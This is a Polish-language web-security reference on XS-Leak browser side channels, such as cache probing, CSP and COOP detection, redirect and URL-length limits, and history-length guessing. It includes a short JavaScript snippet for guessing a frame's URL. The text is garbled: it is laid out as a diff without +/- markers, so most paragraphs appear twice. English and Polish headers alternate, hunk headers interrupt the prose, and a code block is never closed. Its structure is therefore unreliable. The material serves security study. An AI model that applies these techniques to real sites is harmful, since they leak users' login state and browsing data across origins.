Jeśli **zasób buforowany** przez **service worker** jest dostępny przez **iframe**, zasób zostanie **załadowany z pamięci podręcznej service worker**.\
Aby wykryć, czy zasób został **załadowany z pamięci podręcznej service worker**, można użyć **API wydajności**.\
Serwis worker to kontekst skryptu wywoływanego przez zdarzenia, który działa w danym źródle. Działa w tle strony internetowej i może przechwytywać, modyfikować i **buforować zasoby**, aby stworzyć offline'ową aplikację webową.\
Jeśli **zasób buforowany** przez **serwis worker** jest dostępny przez **iframe**, zasób zostanie **załadowany z pamięci podręcznej serwis worker**.\
Aby wykryć, czy zasób został **załadowany z pamięci podręcznej serwis worker**, można użyć **Performance API**.\
Można to również zrobić za pomocą ataku czasowego (sprawdź dokument, aby uzyskać więcej informacji).
### Pamięć podręczna
### Cache
- **Metody włączenia**: Fetch API
- **Wykrywalna różnica**: Czas
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
- **Podsumowanie:** Możliwe jest sprawdzenie, czy zasób został zapisany w pamięci podręcznej.
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](<https://xsinator.com/testing.html#Cache%20Leak%20(POST)>)
- **Inclusion Methods**: Fetch API
- **Detectable Difference**: Timing
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
- **Summary:** Możliwe jest sprawdzenie, czy zasób został zapisany w pamięci podręcznej.
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](<https://xsinator.com/testing.html#Cache%20Leak%20(POST)>)
Korzystając z [API wydajności](xs-search.md#performance-api), możliwe jest sprawdzenie, czy zasób jest buforowany.
Korzystając z [Performance API](xs-search.md#performance-api), możliwe jest sprawdzenie, czy zasób jest buforowany.
### Czas trwania sieci
### Network Duration
- **Metody włączenia**: Fetch API
- **Wykrywalna różnica**: Zawartość strony
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
- **Podsumowanie:** Możliwe jest uzyskanie czasu trwania sieci żądania z API `performance`.
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
- **Inclusion Methods**: Fetch API
- **Detectable Difference**: Page Content
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
- **Summary:** Możliwe jest uzyskanie czasu trwania sieciowego żądania z API `performance`.
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
## Technika komunikatów o błędach
## Error Messages Technique
### Błąd mediów
### Media Error
- **Metody włączenia**: Elementy HTML (Wideo, Audio)
- **Wykrywalna różnica**: Kod statusu
- **Więcej informacji**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
- **Podsumowanie:** W Firefoxie możliwe jest dokładne wycieknięcie kodu statusu żądania z innego źródła.
- **Przykład kodu**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
- **Inclusion Methods**: HTML Elements (Video, Audio)
- **Detectable Difference**: Status Code
- **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
- **Summary:** W Firefoxie możliwe jest dokładne wycieknięcie kodu statusu żądania z innego źródła.
- **Code Example**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
```javascript
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
@ -490,7 +490,7 @@ Ta technika umożliwia atakującemu **wyodrębnienie celu przekierowania z witry
- **Podsumowanie:** W Security Assertions (SA) komunikaty o błędach CORS nieumyślnie ujawniają pełny adres URL przekierowanych żądań.
- **Przykład kodu**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
Atakujący może wykorzystać **szczegółowe komunikaty o błędach**, aby dedukować rozmiar odpowiedzi z innego źródła. Jest to możliwe dzięki mechanizmowi Subresource Integrity (SRI), który używa atrybutu integralności do weryfikacji, że pobrane zasoby, często z CDN, nie zostały zmienione. Aby SRI działało na zasobach z innego źródła, muszą być **włączone CORS**; w przeciwnym razie nie podlegają kontrolom integralności. W Security Assertions (SA), podobnie jak w przypadku błędu CORS XS-Leak, komunikat o błędzie może być przechwycony po nieudanym żądaniu fetch z atrybutem integralności. Atakujący mogą celowo **wywołać ten błąd**, przypisując **fałszywą wartość hasha** do atrybutu integralności dowolnego żądania. W SA wynikowy komunikat o błędzie nieumyślnie ujawnia długość zawartości żądanego zasobu. Ta utrata informacji pozwala atakującemu dostrzec różnice w rozmiarze odpowiedzi, torując drogę do zaawansowanych ataków XS-Leak.
Atakujący może wykorzystać **szczegółowe komunikaty o błędach**, aby dedukować rozmiar odpowiedzi z innego źródła. Jest to możliwe dzięki mechanizmowi Subresource Integrity (SRI), który używa atrybutu integralności do weryfikacji, że pobrane zasoby, często z CDN, nie zostały zmienione. Aby SRI działało na zasobach z innego źródła, muszą być **włączone CORS**; w przeciwnym razie nie podlegają kontrolom integralności. W Security Assertions (SA), podobnie jak w przypadku błędu CORS XS-Leak, komunikat o błędzie może być przechwycony po nieudanym żądaniu fetch z atrybutem integralności. Atakujący mogą celowo **wywołać ten błąd**, przypisując **fałszywą wartość hasha** do atrybutu integralności dowolnego żądania. W SA wynikowy komunikat o błędzie nieumyślnie ujawnia długość zawartości żądanego zasobu. Ta utrata informacji pozwala atakującemu dostrzec różnice w rozmiarze odpowiedzi, otwierając drogę do zaawansowanych ataków XS-Leak.
### Naruszenie/Wykrywanie CSP
@ -500,7 +500,7 @@ Atakujący może wykorzystać **szczegółowe komunikaty o błędach**, aby dedu
- **Podsumowanie:** Zezwalając tylko na witrynę ofiary w CSP, jeśli próbuje przekierować na inna domenę, CSP wywoła wykrywalny błąd.
- **Przykład kodu**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
XS-Leak może wykorzystać CSP do wykrycia, czy witryna z innego źródła została przekierowana do innego pochodzenia. Ta utrata informacji może wykryć przekierowanie, ale dodatkowo ujawnia domenę celu przekierowania. Podstawowa idea tego ataku polega na **zezwoleniu na domenę docelową na stronie atakującego**. Gdy żądanie jest wysyłane do domeny docelowej, **przekierowuje** do domeny z innego źródła. **CSP blokuje** dostęp do niej i tworzy **raport naruszenia używany jako technika wycieku**. W zależności od przeglądarki, **ten raport może ujawniać lokalizację celu przekierowania**.\
XS-Leak może wykorzystać CSP do wykrycia, czy witryna z innego źródła została przekierowana na inną domenę. Ta utrata informacji może wykryć przekierowanie, ale dodatkowo ujawnia domenę celu przekierowania. Podstawowa idea tego ataku polega na **zezwoleniu na domenę docelową na stronie atakującego**. Gdy żądanie jest wysyłane do domeny docelowej, **przekierowuje** na domenę z innego źródła. **CSP blokuje** dostęp do niej i tworzy **raport naruszenia używany jako technika wycieku**. W zależności od przeglądarki, **ten raport może ujawniać lokalizację celu przekierowania**.\
Nowoczesne przeglądarki nie wskażą adresu URL, na który zostało przekierowane, ale nadal można wykryć, że przekierowanie z innego źródła zostało wywołane.
### Cache
@ -511,9 +511,9 @@ Nowoczesne przeglądarki nie wskażą adresu URL, na który zostało przekierowa
- **Podsumowanie:** Wyczyść plik z pamięci podręcznej. Otwiera stronę docelową, sprawdza, czy plik jest obecny w pamięci podręcznej.
- **Przykład kodu:**
Przeglądarki mogą używać jednej wspólnej pamięci podręcznej dla wszystkich witryn. Niezależnie od ich pochodzenia, możliwe jest wydedukowanie, czy strona docelowa **zażądała konkretnego pliku**.
Przeglądarki mogą używać jednej wspólnej pamięci podręcznej dla wszystkich witryn. Niezależnie od ich pochodzenia, możliwe jest ustalenie, czy strona docelowa **zażądała konkretnego pliku**.
Jeśli strona ładuje obraz tylko wtedy, gdy użytkownik jest zalogowany, można **unieważnić** **zasób** (tak aby nie był już w pamięci podręcznej, zobacz więcej informacji w linkach), **wykonać żądanie**, które mogłoby załadować ten zasób i spróbować załadować zasób **z błędnym żądaniem** (np. używając zbyt długiego nagłówka referera). Jeśli załadunek zasobu **nie wywołał żadnego błędu**, to dlatego, że był **w pamięci podręcznej**.
Jeśli strona ładuje obraz tylko wtedy, gdy użytkownik jest zalogowany, można **unieważnić** **zasób** (tak aby nie był już pamiętany, jeśli był, zobacz więcej informacji w linkach), **wykonać żądanie**, które mogłoby załadować ten zasób i spróbować załadować zasób **z błędnym żądaniem** (np. używając zbyt długiego nagłówka referera). Jeśli załadowanie zasobu **nie wywołało żadnego błędu**, to dlatego, że był **pamiętany**.
### Dyrektywa CSP
@ -523,17 +523,17 @@ Jeśli strona ładuje obraz tylko wtedy, gdy użytkownik jest zalogowany, można
- **Podsumowanie:** Dyrektywy nagłówka CSP mogą być badane za pomocą atrybutu iframe CSP, ujawniając szczegóły polityki.
- **Przykład kodu**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
Nowa funkcja w Google Chrome (GC) pozwala stronom internetowym na **proponowanie polityki bezpieczeństwa treści (CSP)** poprzez ustawienie atrybutu na elemencie iframe, z dyrektywami polityki przesyłanymi wraz z żądaniem HTTP. Zwykle osadzone treści muszą **autoryzować to za pomocą nagłówka HTTP**, w przeciwnym razie **wyświetlana jest strona błędu**. Jednak jeśli iframe jest już regulowany przez CSP, a nowo zaproponowana polityka nie jest bardziej restrykcyjna, strona załadowana zostanie normalnie. Ten mechanizm otwiera drogę dla atakującego do **wykrycia konkretnych dyrektyw CSP** strony z innego źródła poprzez identyfikację strony błędu. Chociaż ta podatność została oznaczona jako naprawiona, nasze ustalenia ujawniają **nową technikę wycieku**, zdolną do wykrywania strony błędu, sugerując, że podstawowy problem nigdy nie został w pełni rozwiązany.
Nowa funkcja w Google Chrome (GC) pozwala stronom internetowym na **proponowanie Polityki Bezpieczeństwa Treści (CSP)** poprzez ustawienie atrybutu na elemencie iframe, z dyrektywami polityki przesyłanymi wraz z żądaniem HTTP. Zwykle osadzone treści muszą **autoryzować to za pomocą nagłówka HTTP**, w przeciwnym razie **wyświetlana jest strona błędu**. Jednak jeśli iframe jest już regulowany przez CSP, a nowo proponowana polityka nie jest bardziej restrykcyjna, strona załadowana zostanie normalnie. Ten mechanizm otwiera drogę dla atakującego do **wykrycia konkretnych dyrektyw CSP** strony z innego źródła poprzez identyfikację strony błędu. Chociaż ta podatność została oznaczona jako naprawiona, nasze ustalenia ujawniają **nową technikę wycieku**, zdolną do wykrywania strony błędu, sugerując, że podstawowy problem nigdy nie został w pełni rozwiązany.
### **CORP**
- **Metody włączenia**: Fetch API
- **Wykrywalna różnica**: Nagłówek
- **Więcej informacji**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
- **Podsumowanie:** Zasoby zabezpieczone polityką zasobów z innego źródła (CORP) zgłoszą błąd, gdy będą pobierane z niedozwolonego pochodzenia.
- **Podsumowanie:** Zasoby zabezpieczone Polityką Zasobów Zewnętrznych (CORP) zgłoszą błąd, gdy będą pobierane z niedozwolonego źródła.
- **Przykład kodu**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
Nagłówek CORP to stosunkowo nowa funkcja zabezpieczeń platformy internetowej, która, gdy jest ustawiona, **blokuje żądania cross-origin bez CORS do danego zasobu**. Obecność nagłówka można wykryć, ponieważ zasób chroniony przez CORP **zgłosi błąd podczas pobierania**.
Nagłówek CORP jest stosunkowo nową funkcją zabezpieczeń platformy internetowej, która, gdy jest ustawiona, **blokuje żądania cross-origin bez CORS do danego zasobu**. Obecność nagłówka można wykryć, ponieważ zasób chroniony przez CORP **zgłosi błąd podczas pobierania**.
### CORB
@ -553,7 +553,7 @@ Sprawdź link, aby uzyskać więcej informacji na temat ataku.
- **Podsumowanie**: Jeśli nagłówek Origin jest odbity w nagłówku `Access-Control-Allow-Origin`, możliwe jest sprawdzenie, czy zasób jest już w pamięci podręcznej.
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
W przypadku, gdy **nagłówek Origin** jest **odbity** w nagłówku `Access-Control-Allow-Origin`, atakujący może wykorzystać to zachowanie, aby spróbować **pobierać** **zasób** w trybie **CORS**. Jeśli **błąd** **nie jest** wywoływany, oznacza to, że został **prawidłowo pobrany z sieci**, jeśli błąd jest **wywoływany**, to dlatego, że był **dostępny z pamięci podręcznej** (błąd pojawia się, ponieważ pamięć podręczna zapisuje odpowiedź z nagłówkiem CORS zezwalającym na oryginalną domenę, a nie domenę atakującego)**.**\
W przypadku, gdy **nagłówek Origin** jest **odbity** w nagłówku `Access-Control-Allow-Origin`, atakujący może wykorzystać to zachowanie, aby spróbować **pobierać** **zasób** w trybie **CORS**. Jeśli **błąd** **nie** zostanie wywołany, oznacza to, że został **prawidłowo pobrany z sieci**, jeśli błąd **zostanie wywołany**, to dlatego, że był **dostępny z pamięci podręcznej** (błąd pojawia się, ponieważ pamięć podręczna zapisuje odpowiedź z nagłówkiem CORS zezwalającym na oryginalną domenę, a nie domenę atakującego)**.**\
Zauważ, że jeśli pochodzenie nie jest odbite, ale użyto znaku wieloznacznego (`Access-Control-Allow-Origin: *`), to nie zadziała.
## Technika atrybutów czytelnych
@ -573,10 +573,10 @@ Składając żądanie za pomocą Fetch API z `redirect: "manual"` i innymi param
- **Metody włączenia**: Pop-upy
- **Wykrywalna różnica**: Nagłówek
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
- **Podsumowanie:** Strony zabezpieczone przez politykę otwieracza z innego źródła (COOP) zapobiegają dostępowi z interakcji z innego źródła.
- **Podsumowanie:** Strony zabezpieczone Polityką Otwieracza Zasobów Zewnętrznych (COOP) zapobiegają dostępowi z interakcji z innego źródła.
- **Przykład kodu**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
Atakujący jest w stanie wydedukować obecność nagłówka polityki otwieracza z innego źródła (COOP) w odpowiedzi HTTP z innego źródła. COOP jest wykorzystywane przez aplikacje internetowe do uniemożliwienia zewnętrznym witrynom uzyskiwania dowolnych odniesień do okien. Widoczność tego nagłówka można dostrzec, próbując uzyskać dostęp do odniesienia **`contentWindow`**. W scenariuszach, w których COOP jest stosowane warunkowo, **właściwość `opener`** staje się wyraźnym wskaźnikiem: jest **niezdefiniowana**, gdy COOP jest aktywne, i **zdefiniowana** w jego braku.
Atakujący jest w stanie wydedukować obecność nagłówka Polityki Otwieracza Zasobów Zewnętrznych (COOP) w odpowiedzi HTTP z innego źródła. COOP jest wykorzystywana przez aplikacje internetowe do uniemożliwienia zewnętrznym stronom uzyskiwania dowolnych odniesień do okien. Widoczność tego nagłówka można dostrzec, próbując uzyskać dostęp do odniesienia **`contentWindow`**. W scenariuszach, w których COOP jest stosowana warunkowo, **właściwość `opener`** staje się wyraźnym wskaźnikiem: jest **niezdefiniowana**, gdy COOP jest aktywna, i **zdefiniowana** w jej braku.
### Maksymalna długość URL - po stronie serwera
@ -586,9 +586,9 @@ Atakujący jest w stanie wydedukować obecność nagłówka polityki otwieracza
- **Podsumowanie:** Wykryj różnice w odpowiedziach, ponieważ długość odpowiedzi przekierowania może być zbyt duża, co powoduje, że serwer odpowiada błędem i generowany jest alert.
- **Przykład kodu**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
Jeśli przekierowanie po stronie serwera używa **danych użytkownika wewnątrz przekierowania** i **dodatkowych danych**. Możliwe jest wykrycie tego zachowania, ponieważ zazwyczaj **serwery** mają **limit długości żądania**. Jeśli **dane użytkownika** mają **długość - 1**, ponieważ **przekierowanie** używa **tych danych** i **dodaje** coś **dodatkowego**, spowoduje to wywołanie **błędu wykrywalnego za pomocą zdarzeń błędów**.
Jeśli przekierowanie po stronie serwera używa **danych wejściowych użytkownika w przekierowaniu** i **dodatkowych danych**. Możliwe jest wykrycie tego zachowania, ponieważ zazwyczaj **serwery** mają **limit długości żądania**. Jeśli **dane użytkownika** mają **długość - 1**, ponieważ **przekierowanie** używa **tych danych** i **dodaje** coś **dodatkowego**, spowoduje to wywołanie **błędu wykrywalnego za pomocą zdarzeń błędów**.
Jeśli w jakiś sposób możesz ustawić ciasteczka dla użytkownika, możesz również przeprowadzić ten atak, **ustawiając wystarczającą liczbę ciasteczek** ([**cookie bomb**](hacking-with-cookies/cookie-bomb.md)), więc z **zwiększoną wielkością odpowiedzi** **prawidłowej odpowiedzi** wywołany zostanie **błąd**. W tym przypadku pamiętaj, że jeśli wywołasz to żądanie z tej samej witryny, `<script>` automatycznie wyśle ciasteczka (więc możesz sprawdzić błędy).\
Jeśli w jakiś sposób możesz ustawić ciasteczka dla użytkownika, możesz również przeprowadzić ten atak, **ustawiając wystarczającą liczbę ciasteczek** ([**cookie bomb**](hacking-with-cookies/cookie-bomb.md)), więc z **zwiększoną długością odpowiedzi** **prawidłowej odpowiedzi** wywołany zostanie **błąd**. W tym przypadku pamiętaj, że jeśli wywołasz to żądanie z tej samej witryny, `<script>` automatycznie wyśle ciasteczka (więc możesz sprawdzić błędy).\
Przykład **cookie bomb + XS-Search** można znaleźć w zamierzonym rozwiązaniu tego opisu: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
`SameSite=None` lub bycie w tym samym kontekście jest zazwyczaj wymagane do tego typu ataku.
@ -603,13 +603,13 @@ Przykład **cookie bomb + XS-Search** można znaleźć w zamierzonym rozwiązani
Zgodnie z [dokumentacją Chromium](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length), maksymalna długość URL w Chrome wynosi 2MB.
> Ogólnie rzecz biorąc, _platforma internetowa_ nie ma ograniczeń co do długości adresów URL (chociaż 2^31 to powszechne ograniczenie). _Chrome_ ogranicza adresy URL do maksymalnej długości **2MB** z powodów praktycznych i aby uniknąć problemów z odmową usługi w komunikacji międzyprocesowej.
> Ogólnie rzecz biorąc, _platforma internetowa_ nie ma ograniczeń co do długości adresów URL (chociaż 2^31 jest powszechnym limitem). _Chrome_ ogranicza adresy URL do maksymalnej długości **2MB** z powodów praktycznych i aby uniknąć problemów z odmową usługi w komunikacji międzyprocesowej.
Dlatego jeśli **adres URL przekierowania jest większy w jednym z przypadków**, możliwe jest, aby przekierować z **adresu URL większego niż 2MB**, aby osiągnąć **limit długości**. Gdy to się zdarzy, Chrome wyświetla stronę **`about:blank#blocked`**.
Dlatego jeśli **adres URL przekierowania jest większy w jednym z przypadków**, możliwe jest, aby przekierować z **adresu URL większego niż 2MB**, aby osiągnąć **limit długości**. Gdy to się stanie, Chrome wyświetla stronę **`about:blank#blocked`**.
**Wykrywalna różnica** polega na tym, że jeśli **przekierowanie** zostało **zakończone**, `window.origin` zgłasza **błąd**, ponieważ z innego źródła nie można uzyskać dostępu do tych informacji. Jednak jeśli **limit** został \*\*\*\* osiągnięty, a załadowana strona to **`about:blank#blocked`**, **`origin`** okna pozostaje tym z **rodzica**, co jest **dostępną informacją.**
**Widoczna różnica** polega na tym, że jeśli **przekierowanie** zostało **zakończone**, `window.origin` zgłasza **błąd**, ponieważ z innego źródła nie można uzyskać dostępu do tych informacji. Jednak jeśli **limit** został osiągnięty, a załadowana strona to **`about:blank#blocked`**, **`origin`** okna pozostaje tym z **rodzica**, co jest **dostępną informacją.**
Wszystkie dodatkowe informacje potrzebne do osiągnięcia **2MB** mogą być dodane za pomocą **hasha** w początkowym adresie URL, aby były **używane w przekierowaniu**.
Wszystkie dodatkowe informacje potrzebne do osiągnięcia **2MB** można dodać za pomocą **hasha** w początkowym adresie URL, aby zostały **użyte w przekierowaniu**.
{{#ref}}
xs-search/url-max-length-client-side.md
@ -623,18 +623,18 @@ xs-search/url-max-length-client-side.md
- **Podsumowanie:** Użyj limitu przekierowań przeglądarki, aby ustalić wystąpienie przekierowań URL.
- **Przykład kodu**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
Jeśli **maksymalna** liczba **przekierowań** do śledzenia w przeglądarce wynosi **20**, atakujący mógłby spróbować załadować swoją stronę z **19 przekierowaniami** i ostatecznie **wysłać ofiarę** na testowaną stronę. Jeśli **błąd** jest wywoływany, oznacza to, że strona próbowała **przekierować ofiarę**.
Jeśli **maksymalna** liczba **przekierowań**, które można śledzić w przeglądarce, wynosi **20**, atakujący może spróbować załadować swoją stronę z **19 przekierowaniami** i ostatecznie **wysłać ofiarę** na testowaną stronę. Jeśli **błąd** zostanie wywołany, oznacza to, że strona próbowała **przekierować ofiarę**.
### Długość historii
- **Metody włączenia**: Ramki, Pop-upy
- **Wykrywalna różnica**: Przekierowania
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
- **Podsumowanie:** Kod JavaScript manipuluje historią przeglądarki i można uzyskać dostęp do niej za pomocą właściwości długości.
- **Podsumowanie:** Kod JavaScript manipuluje historią przeglądarki i można uzyskać dostęp do niej za pomocą właściwości length.
- **Przykład kodu**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
**API historii** pozwala kodowi JavaScript na manipulację historią przeglądarki, która **zapisuje odwiedzane przez użytkownika strony**. Atakujący może użyć właściwości długości jako metody włączenia: do wykrywania nawigacji JavaScript i HTML.\
**Sprawdzając `history.length`**, zmuszając użytkownika do **nawigacji** na stronę, **zmieniając****z powrotem** do tej samej domeny i **sprawdzając** nową wartość **`history.length`**.
**API historii** pozwala kodowi JavaScript na manipulację historią przeglądarki, która **zapisuje odwiedzane przez użytkownika strony**. Atakujący może użyć właściwości length jako metody włączenia: do wykrywania nawigacji JavaScript i HTML.\
**Sprawdzając `history.length`**, zmuszając użytkownika do **nawigacji** na stronę, **zmieniając****z powrotem** na tę samą domenę i **sprawdzając** nową wartość **`history.length`**.
### Długość historii z tym samym URL
@ -643,7 +643,7 @@ Jeśli **maksymalna** liczba **przekierowań** do śledzenia w przeglądarce wyn
- **Podsumowanie:** Możliwe jest zgadywanie, czy lokalizacja ramki/pop-upu znajduje się w określonym URL, nadużywając długości historii.
- **Przykład kodu**: Poniżej
Atakujący mógłby użyć kodu JavaScript do **manipulacji lokalizacją ramki/pop-upu na zgadywaną** i **natychmiast** **zmienić ją na `about:blank`**. Jeśli długość historii wzrosła, oznacza to, że URL był poprawny i miał czas na **wzrost, ponieważ URL nie jest ponownie ładowany, jeśli jest taki sam**. Jeśli nie wzrosła, oznacza to, że **próbował załadować zgadywany URL**, ale ponieważ **natychmiast po tym** załadowano **`about:blank`**, **długość historii nigdy nie wzrosła** podczas ładowania zgadywanego URL.
Atakujący może użyć kodu JavaScript do **manipulacji lokalizacją ramki/pop-upu na zgadywaną** i **natychmiast** **zmienić ją na `about:blank`**. Jeśli długość historii wzrosła, oznacza to, że URL był poprawny i miał czas na **wzrost, ponieważ URL nie jest ponownie ładowany, jeśli jest taki sam**. Jeśli nie wzrosła, oznacza to, że **próbował załadować zgadywany URL**, ale ponieważ **natychmiast po tym** załadowano **`about:blank`**, **długość historii nigdy nie wzrosła** podczas ładowania zgadywanego URL.
```javascript
async function debug(win, url) {
win.location = url + "#aaa"
@ -672,17 +672,17 @@ console.log(await debug(win, "https://example.com/?a=b"))
Liczenie **liczby ramek w sieci** otwartych za pomocą `iframe` lub `window.open` może pomóc w identyfikacji **statusu użytkownika na tej stronie**.\
Ponadto, jeśli strona ma zawsze tę samą liczbę ramek, ciągłe sprawdzanie liczby ramek może pomóc w identyfikacji **wzoru**, który może ujawniać informacje.
Przykładem tej techniki jest to, że w Chrome **PDF** może być **wykrywany** za pomocą **liczenia ramek**, ponieważ wewnętrznie używa się `embed`. Istnieją [Parametry URL](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113), które pozwalają na pewną kontrolę nad zawartością, taką jak `zoom`, `view`, `page`, `toolbar`, gdzie ta technika może być interesująca.
Przykładem tej techniki jest to, że w Chrome **PDF** może być **wykrywany** za pomocą **liczenia ramek**, ponieważ wewnętrznie używany jest `embed`. Istnieją [Parametry URL](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113), które pozwalają na pewną kontrolę nad zawartością, taką jak `zoom`, `view`, `page`, `toolbar`, gdzie ta technika może być interesująca.
### Elementy HTML
- **Metody włączenia**: Elementy HTML
- **Wykrywalna różnica**: Zawartość strony
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
- **Podsumowanie:** Odczytaj ujawnioną wartość, aby rozróżnić między 2 możliwymi stanami
- **Podsumowanie:** Odczytaj ujawnioną wartość, aby odróżnić 2 możliwe stany
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
Ujawnienie informacji przez elementy HTML jest problemem w bezpieczeństwie sieci, szczególnie gdy dynamiczne pliki multimedialne są generowane na podstawie informacji o użytkowniku lub gdy dodawane są znaki wodne, zmieniając rozmiar multimediów. Może to być wykorzystywane przez atakujących do rozróżnienia między możliwymi stanami, analizując informacje ujawnione przez niektóre elementy HTML.
Ujawnienie informacji przez elementy HTML jest problemem w bezpieczeństwie sieci, szczególnie gdy dynamiczne pliki multimedialne są generowane na podstawie informacji o użytkowniku lub gdy dodawane są znaki wodne, zmieniając rozmiar multimediów. Może to być wykorzystywane przez atakujących do różnicowania możliwych stanów poprzez analizę informacji ujawnionych przez niektóre elementy HTML.
### Informacje ujawnione przez elementy HTML
@ -699,7 +699,7 @@ Ujawnienie informacji przez elementy HTML jest problemem w bezpieczeństwie siec
- **Podsumowanie:** Zidentyfikuj różnice w stylizacji strony internetowej, które korelują ze stanem lub statusem użytkownika.
- **Przykład kodu**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
Aplikacje internetowe mogą zmieniać **stylizację strony internetowej w zależności od statusu użytkownika**. Pliki CSS z różnych źródeł mogą być osadzone na stronie atakującego za pomocą **elementu link HTML**, a **reguły** będą **zastosowane** do strony atakującego. Jeśli strona dynamicznie zmienia te reguły, atakujący może **wykryć** te **różnice** w zależności od stanu użytkownika.\
Aplikacje internetowe mogą zmieniać **stylizację strony** w zależności od statusu użytkownika. Pliki CSS z różnych źródeł mogą być osadzone na stronie atakującego za pomocą **elementu link HTML**, a **reguły** będą **zastosowane** do strony atakującego. Jeśli strona dynamicznie zmienia te reguły, atakujący może **wykryć** te **różnice** w zależności od stanu użytkownika.\
Jako technikę wycieku, atakujący może użyć metody `window.getComputedStyle`, aby **odczytać właściwości CSS** konkretnego elementu HTML. W rezultacie atakujący może odczytać dowolne właściwości CSS, jeśli znany jest dotknięty element i nazwa właściwości.
### Historia CSS
@ -707,17 +707,17 @@ Jako technikę wycieku, atakujący może użyć metody `window.getComputedStyle`
- **Metody włączenia**: Elementy HTML
- **Wykrywalna różnica**: Zawartość strony
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
- **Podsumowanie:** Wykryj, czy styl `:visited` jest zastosowany do URL, co wskazuje, że był już odwiedzany
- **Podsumowanie:** Wykryj, czy styl `:visited` jest zastosowany do URL, co wskazuje, że został już odwiedzony
- **Przykład kodu**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)
> [!NOTE]
> Zgodnie z [**tym**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/), to nie działa w headless Chrome.
